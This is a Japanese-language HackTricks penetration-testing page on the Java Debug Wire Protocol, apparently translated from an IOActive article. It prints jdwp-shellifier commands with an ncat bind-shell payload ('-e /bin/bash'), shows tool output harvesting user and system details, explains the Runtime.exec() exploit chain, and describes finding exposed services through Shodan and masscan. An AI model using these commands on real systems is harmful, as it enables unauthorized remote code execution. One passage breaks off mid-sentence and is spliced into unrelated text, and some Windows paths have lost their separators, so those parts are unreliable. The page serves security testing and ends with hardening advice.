23 KiB
JDWPのペンテスト - Java Debug Wire Protocol
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
Exploiting
https://github.com/IOActive/jdwp-shellifierにあるPythonのエクスプロイトを使用できます。
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
--break-on 'java.lang.String.indexOf'
の使用により、エクスプロイトはより安定になります。また、ホストにバックドアをアップロードしてコマンドを実行する代わりに、バックドアを実行することで、エクスプロイトはさらに安定します。
通常、このデバッガはポート8000で実行されます。ポートとTCP接続を確立し、「JDWP-Handshake」を送信すると、サーバーは同じ文字列で応答するはずです。
また、この文字列をネットワークで確認することで、可能なJDWPサービスを見つけることができます。
プロセスの一覧を表示し、「jdwk」という文字列がjavaプロセス内にある場合、おそらくJava Debug Wired Protocolがアクティブになっており、横方向に移動したり、特権を昇格させることができるかもしれません(rootとして実行された場合)。
詳細
コピー元:https://ioactive.com/hacking-java-debug-wire-protocol-or-how/
Java Debug Wire Protocol
Java Platform Debug Architecture (JPDA):JDWPは、Java Platform Debug Architecture (JPDA)[2]と呼ばれるグローバルなJavaデバッグシステムの1つのコンポーネントです。以下は全体のアーキテクチャのダイアグラムです:
デバッガは、ターゲットアプリケーションを実行するマルチスレッドのJVMで構成されています。リモートデバッグが可能になるためには、JVMインスタンスをコマンドラインで明示的にオプション「-Xdebug」を指定して起動する必要があります。また、「-Xrunjdwp」(または「-agentlib」)オプションも指定する必要があります。たとえば、リモートデバッグが有効になっているTomcatサーバーを起動する場合は、次のようになります:
アーキテクチャダイアグラムに示されているように、Java Debug Wire ProtocolはデバッガとJVMインスタンスの中央リンクです。プロトコルに関する観察結果は次のとおりです:
- パケットベースのネットワークバイナリプロトコルです。
- ほとんど同期的です。デバッガはJDWPを介してコマンドを送信し、応答を受け取ることを期待します。ただし、イベントなどの一部のコマンドは同期的な応答を期待しません。特定の条件が満たされたときに応答を送信します。たとえば、ブレークポイントはイベントです。
- 認証は使用しません。
- 暗号化は使用しません。
これらの観察結果は、デバッグプロトコルについて話しているため、完全に理にかなっています。ただし、このようなサービスが敵対的なネットワークに公開されたり、インターネットに面している場合、問題が発生する可能性があります。
ハンドシェイク:JDWPは[9]、通信はシンプルなハンドシェイクによって開始される必要があると規定しています。TCP接続が成功すると、デバッガ(クライアント)は14文字のASCII文字列「JDWP-Handshake」を送信します。デバッガ(サーバー)はこのメッセージに対してまったく同じ文字列を送信して応答します。次のscapy[3]トレースは、初期の双方向ハンドシェイクを示しています:
root:~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:~/tools/scapy-hg # ./run_scapy
Welcome to Scapy (2.2.0-dev)
>>> sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
経験豊富なセキュリティ監査人は、このようなシンプルなハンドシェイクがインターネット上のライブJDWPサービスを簡単に発見する方法を提供していることにすでに気付いているかもしれません。単純なプローブを送信して特定の応答を確認するだけです。さらに興味深いことに、IBM Java Development KitでShodanHQ[4]を使用してスキャンする際に、サーバーが最初に同じバナーで「話す」という動作が観察されました。その結果、アクティブなJDWPサービスを完全に受動的に発見する方法があります(この記事では、(悪名高い)Shodanの助けを借りて後で説明します)。
通信:JDWPは、デバッガとデバッガの間の通信に関与するメッセージ[10]を定義しています。メッセージは次のような単純な構造に従います:
LengthとIdフィールドはかなり自明です。Flagフィールドは、リクエストパケットと応答パケットを区別するためにのみ使用され、値0x80は応答パケットを示します。CommandSetフィールドは、次の表に示すよ JDWPは、メモリに既に存在するオブジェクトにアクセスして呼び出すだけでなく、データを作成または上書きすることも可能です。
- VirtualMachine/CreateStringは、文字列をJVMランタイム内に存在するjava.lang.Stringに変換することができます。
- VirtualMachine/RedefineClassesは、新しいクラス定義をインストールすることができます。
「All your JDWP are belong to us」
これまで見てきたように、JDWPには任意のクラスをJVMメモリにロードし、既存および/または新しくロードされたバイトコードを呼び出すための組み込みコマンドがあります。次のセクションでは、Pythonでの攻撃コードの作成手順について説明します。これは、できるだけ信頼性の高いJDIフロントエンドの部分的な実装として機能するものです。このスタンドアロンのエクスプロイトスクリプトの主な理由は、ペンテスターとして、「ヘッドショット」エクスプロイトが好きだからです。つまり、環境/アプリケーション/プロトコルが脆弱であることが確実な場合、すぐにそれを攻撃するためのツールを用意しておきたいのです(これまで存在していたのはPoCだけです)。したがって、理論をカバーしたので、実際の実装に入りましょう。オープンなJDWPサービスに直面した場合、任意のコマンドの実行は正確に5つのステップ先(またはこのエクスプロイトでは、1つのコマンドライン先)です。以下は、その手順です。
-
Javaランタイムの参照を取得するJVMは、オブジェクトをその参照を介して操作します。そのため、エクスプロイトではまず、java.lang.Runtimeクラスへの参照を取得する必要があります。このクラスから、getRuntime()メソッドへの参照が必要です。これは、すべてのクラス(AllClassesパケット)と、探しているクラスのすべてのメソッド(ReferenceType/Methodsパケット)を取得することによって実行されます。
-
ブレークポイントの設定と通知の待機(非同期呼び出し)これがエクスプロイトの鍵です。任意のコードを呼び出すには、実行中のスレッドコンテキストにいる必要があります。そのためには、実行時に呼び出されることがわかっているメソッドにブレークポイントを設定するというハックがあります。先ほど見たように、JDIのブレークポイントは非同期イベントであり、そのタイプはBREAKPOINT(0x02)に設定されます。ヒットすると、JVMは私たちのデバッガにEventDataパケットを送信し、ブレークポイントのIDとさらに重要なのは、それをヒットしたスレッドへの参照を含んでいます。
したがって、頻繁に呼び出されるメソッド(例:java.net.ServerSocket.accept())に設定することは良い考えです。これは、サーバーが新しいネットワーク接続を受け取るたびに呼び出される可能性が非常に高いです。ただし、実行時に存在する任意のメソッドである可能性もあることを念頭に置いておく必要があります。
- ペイロードを実行するためにランタイム内でJavaのStringオブジェクトを割り当てるJVMランタイムでコードを実行するため、私たちの操作対象のデータ(文字列など)はすべてJVMランタイムに存在する必要があります(つまり、ランタイム参照を持っている必要があります)。これは、CreateStringコマンドを送信することで非常に簡単に行われます。
-
ブレークポイントコンテキストからランタイムオブジェクトを取得この時点で、成功した信頼性の高いエクスプロイトに必要な要素のほとんどを持っています。不足しているのはランタイムオブジェクトの参照です。これを取得するのは簡単で、JVMランタイムでjava.lang.Runtime.getRuntime()静的メソッド[8]を実行するだけです。これは、ClassType/InvokeMethodパケットを送信し、Runtimeクラスとスレッドの参照を提供することで行われます。
-
ランタイムインスタンスでexec()メソッドを検索して呼び出す最後のステップは、前のステップで取得したRuntime静的オブジェクト内でexec()メソッドを検索し(ObjectReference/InvokeMethodパケットを送信することで)、ステップ3で作成したStringオブジェクトを使用して呼び出すことです。
Et voilà !! 簡単で迅速です。デモンストレーションとして、JPDA「デバッグモード」が有効なTomcatを起動します。
root@pwnbox:~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start
コマンドを実行せずにスクリプトを実行し、単に一般的なシステム情報を取得します。
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting ‘192.168.2.9:8000’
[+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System ‘Mac OS X’
[+] Found User name ‘pentestosx’
[+] Found ClassPath ‘/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar’
[+] Found User home directory ‘/Users/pentestosx’
[!] Command successfully executed
同じコマンドラインですが、Windowsシステムに対して実行し、完全に異なるメソッドで中断します。
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –break-on ‘java.lang.String.indexOf’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on ‘java.lang.String.indexOf’
[+] Received matching event from thread 0x8f5
[+] Found Operating System ‘Windows 7’
[+] Found User name ‘hugsy’
[+] Found ClassPath ‘C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar’
[+] Found User home directory ‘C:Usershugsy’
[!] Command successfully executed
私たちは、Linuxシステムに対してペイロード「ncat -e /bin/bash -l -p 1337」を使用してバインドシェルを生成するために、エクスプロイトを実行します。
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –cmd ‘ncat -l -p 1337 -e /bin/bash’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘OpenJDK Client VM – 1.6.0_27’
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’
[+] Received matching event from thread 0x82a[+] Selected payload ‘ncat -l -p 1337 -e /bin/bash’
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN 19242/ncat
tcp6 0 0 :::1337 :::* LISTEN 19242/ncat
最終的なエクスプロイトは、これらの技術を使用し、いくつかのチェックを追加し、中断を最小限に抑えるために中断/再開シグナルを送信します(作業中のアプリケーションを壊さない方が常に最善ですよね?)。このエクスプロイトは2つのモードで動作します:
- 「デフォルト」モードは完全に非侵襲的であり、単にJavaコードを実行してローカルシステム情報を取得します(クライアントへのPoCに最適です)。
- 「cmd」オプションを渡すと、リモートホストでシステムコマンドを実行し、より侵襲的になります。コマンドはJVMが実行されている特権で実行されます。
このエクスプロイトスクリプトは、次の環境で正常にテストされました:
- Oracle Java JDK 1.6および1.7
- OpenJDK 1.6
- IBM JDK 1.6
Javaは設計上プラットフォームに依存しないため、Javaがサポートする任意のオペレーティングシステムでコマンドを実行することができます。これは私たちのペンテスターにとって実に良いニュースです:オープンなJDWPサービスは信頼性のあるRCEを意味します。これまでのところ、順調です。
実際の攻撃についてはどうでしょうか?
実際のところ、JDWPはJavaアプリケーションの世界でかなり使用されています。ただし、リモート評価を実行する際には、ファイアウォールが(そしてすべきである)実行しているポートをほとんどブロックするため、ペンテスターはそれをあまり頻繁に見ることはないかもしれません。しかし、これはJDWPが実際に存在しないことを意味しません:
- この記事を書いている時点で、ShodanHQ[4]でのクイック検索は、JDWPハンドシェイクを送信している約40台のサーバーがすぐに表示されます:
これは実際に興味深い発見です。前に見たように、対話を開始するのはクライアント側(デバッガ)であるはずです。
- GitHub[7]でも、潜在的に脆弱なオープンソースアプリケーションの数が多く見つかります:
- 特定のポート(tcp/8000、tcp/8080、tcp/8787、tcp/5005)を探すためにインターネットをmasscanでスキャンすると、多くのホスト(ここでは報告できません)が最初のハンドシェイクに応答します。
- 「エンタープライズ」アプリケーションは、JDWPサービスをデフォルトで実行している状態で見つかりました(実際のポート番号の検出は、好奇心のある読者に委ねられています)。
これはインターネット上でオープンなJDWPサービスを発見するためのいくつかの方法にすぎません。これは、アプリケーションが定期的に徹底的なセキュリティレビューを受けるべきであり、本番環境ではデバッグ機能をオフにし、ファイアウォールを正常な動作に必要なサービスへのアクセスに制限するように構成するべきであることを思い出させる良い例です。JDWPサービスに誰でも接続できるようにすることは、gdbserverサービスに接続を許可するのとまったく同じです(より安定した方法かもしれません)。JDWPで遊ぶのを楽しんでいただければ幸いです。すべてのパイレーツに、JDWPの攻略を楽しんでください!!
謝辞
Ilja Van SprundelさんとSebastien Mackeさんには、アイデアとテストに感謝いたします。
参考文献:
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy(no longer active)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけて、独占的なNFTのコレクションを発見してください。
- 公式のPEASS&HackTricksのスウェットを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repo と hacktricks-cloud repo にPRを提出してください。